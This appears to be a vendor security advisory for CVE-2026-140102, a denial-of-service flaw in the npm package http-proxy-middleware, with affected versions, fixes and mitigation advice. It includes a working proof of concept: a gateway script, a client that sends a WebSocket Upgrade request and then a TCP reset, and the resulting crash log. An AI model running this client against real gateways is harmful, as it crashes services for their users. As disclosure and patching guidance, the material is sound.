CVE-2026-140102 is a high-severity (CVSS 7.5) CWE-248 vulnerability in http-proxy-middleware. A fix is available for http-proxy-middleware — see the affected versions and patch details below.
http-proxy-middleware: Unauthenticated remote gateway crash via an `Upgrade` request to a path outside `pathFilter` followed by a TCP RST (ws: true)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-140102.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
http-proxy-middlewarenpmDescription
Proof of concept
- run
gateway.js
import http from "http";
import { createProxyMiddleware } from "http-proxy-middleware";
const neverTrigger = () => console.log("neverTrigger");
const proxy = createProxyMiddleware({
target: "http://example.com",
pathFilter: "/ws",
ws: true,
on: { error: neverTrigger }
});
const server = http.createServer((req, res) => proxy(
req,
res,
() => res.writeHead(404).end()
));
server.on("upgrade", proxy.upgrade);
server.on("error", neverTrigger);
server.on("clientError", neverTrigger);
server.listen(5056, "127.0.0.1");
- run
client.js
import net from "net";
const socket = net.connect(5056, "127.0.0.1", () => {
socket.write("GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n");
setTimeout(() => socket.resetAndDestroy(), 100);
});
- gateway process crash
node:events:505
throw er; // Unhandled 'error' event
^
Error: read ECONNRESET
at TCP.onStreamRead (node:internal/stream_base_commons:221:20)
Emitted 'error' event on Socket instance at:
at emitErrorNT (node:internal/streams/destroy:170:8)
at emitErrorCloseNT (node:internal/streams/destroy:129:3)
at process.processTicksAndRejections (node:internal/process/task_queues:90:21) {
errno: -54,
code: 'ECONNRESET',
syscall: 'read'
}
Node.js v24.22.3
Impact
A remote unauthenticated attacker can crash the whole gateway process with a single Upgrade request and a TCP RST, even when on.error and the server's error and clientError events are all handled.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | http-proxy-middleware | ≥ 0.8.0&&< 2.0.12 | 2.0.12npm install http-proxy-middleware@2.0.12 |
| 📦npm | http-proxy-middleware | ≥ 3.0.0-beta.0&&< 3.0.11 | 3.0.11npm install http-proxy-middleware@3.0.11 |
| 📦npm | http-proxy-middleware | ≥ 4.0.0-beta.0&&< 4.2.2 | 4.2.2npm install http-proxy-middleware@4.2.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for http-proxy-middleware, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update http-proxy-middleware to 2.0.12 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-140102 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2026-140102 in your dependencies?
Find it across npm, including transitive dependencies.